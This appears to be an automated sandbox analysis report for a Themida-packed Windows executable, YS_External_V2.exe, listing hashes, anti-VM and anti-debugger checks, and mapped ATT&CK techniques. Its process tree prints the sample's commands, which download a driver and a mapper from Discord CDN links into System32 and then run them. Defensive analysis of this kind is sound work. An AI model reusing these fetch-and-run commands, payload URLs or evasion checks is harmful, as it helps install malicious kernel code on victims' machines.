914d9b43d9d945fe5c372487ffa692b6d1d68e64945a726b2c35699c31af661e

General

Target

YS_External_V2.exe
Size

23.7MB
MD5

a55deccd022c6cf5a67bd3138a0a6d69
SHA1

cef90145fa44b969af6ec76b7ac650e778e5c953
SHA256

914d9b43d9d945fe5c372487ffa692b6d1d68e64945a726b2c35699c31af661e
SHA512

b797d8ab14c3acc232d243c5a7bd0958929d93c4ba96b4dd68f3167c5b8753c63a874b1a6f0cdcd7f43dcb250958e0572b23ceee6b6e36a1fb1a011fb2e5ada6
SSDEEP

393216:Mm9FpgMIfmAL0Fnch/d9WOBkUS9RBnuBRhfvSoWchi3x1Bn:D97gb0dcd9jkLT8BjYc2N

Score

9^/10

evasion themida trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

YS_External_V2.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ YS_External_V2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	YS_External_V2.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

YS_External_V2.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	YS_External_V2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	YS_External_V2.exe

Themida packer 6 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral1/memory/1760-55-0x000000013FEF0000-0x0000000142409000-memory.dmp	themida
behavioral1/memory/1760-56-0x000000013FEF0000-0x0000000142409000-memory.dmp	themida
behavioral1/memory/1760-57-0x000000013FEF0000-0x0000000142409000-memory.dmp	themida
behavioral1/memory/1760-58-0x000000013FEF0000-0x0000000142409000-memory.dmp	themida
behavioral1/memory/1760-59-0x000000013FEF0000-0x0000000142409000-memory.dmp	themida
behavioral1/memory/1760-61-0x000000013FEF0000-0x0000000142409000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

YS_External_V2.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA YS_External_V2.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

YS_External_V2.exe

pid process

1760 YS_External_V2.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1164 1760 WerFault.exe YS_External_V2.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	YS_External_V2.exe

pid	process
1760	YS_External_V2.exe

pid	pid_target	process	target process
1164	1760	WerFault.exe	YS_External_V2.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

YS_External_V2.exe

description	pid	process	target process
PID 1760 wrote to memory of 564	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 564	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 564	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 1492	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 1492	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 1492	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 1152	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 1152	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 1152	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 328	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 328	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 328	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 592	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 592	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 592	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 596	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 596	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 596	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 1164	1760	YS_External_V2.exe	WerFault.exe
PID 1760 wrote to memory of 1164	1760	YS_External_V2.exe	WerFault.exe
PID 1760 wrote to memory of 1164	1760	YS_External_V2.exe	WerFault.exe
PID 1760 wrote to memory of 548	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 548	1760	YS_External_V2.exe	cmd.exe
PID 1760 wrote to memory of 548	1760	YS_External_V2.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\YS_External_V2.exe
"C:\Users\Admin\AppData\Local\Temp\YS_External_V2.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:1760

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c cls
2⤵
PID:564

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1077305966531444837/1077321645544439828/yamsud.sys --output C:\Windows\System32\yamsud.sys >nul 2>&1
2⤵
PID:1492

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1077305966531444837/1077321645909348533/yamsmapper.exe --output C:\Windows\System32\yamsmapper.exe >nul 2>&1
2⤵
PID:1152

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c cls
2⤵
PID:328

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\yamsmapper.exe C:\Windows\System32\yamsud.sys
2⤵
PID:592

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c cls
2⤵
PID:596

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1760 -s 212
2⤵
- Program crash
PID:1164

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c pause >nul 2>&1
2⤵
PID:548

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

1

T1497

Credential Access

Discovery

Query Registry

2

T1012

Virtualization/Sandbox Evasion

1

T1497

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1760-55-0x000000013FEF0000-0x0000000142409000-memory.dmp

Filesize
37.1MB

Download
memory/1760-56-0x000000013FEF0000-0x0000000142409000-memory.dmp

Filesize
37.1MB

Download
memory/1760-57-0x000000013FEF0000-0x0000000142409000-memory.dmp

Filesize
37.1MB

Download
memory/1760-58-0x000000013FEF0000-0x0000000142409000-memory.dmp

Filesize
37.1MB

Download
memory/1760-59-0x000000013FEF0000-0x0000000142409000-memory.dmp

Filesize
37.1MB

Download
memory/1760-60-0x0000000000210000-0x0000000000211000-memory.dmp

Filesize
4KB

Download
memory/1760-61-0x000000013FEF0000-0x0000000142409000-memory.dmp

Filesize
37.1MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads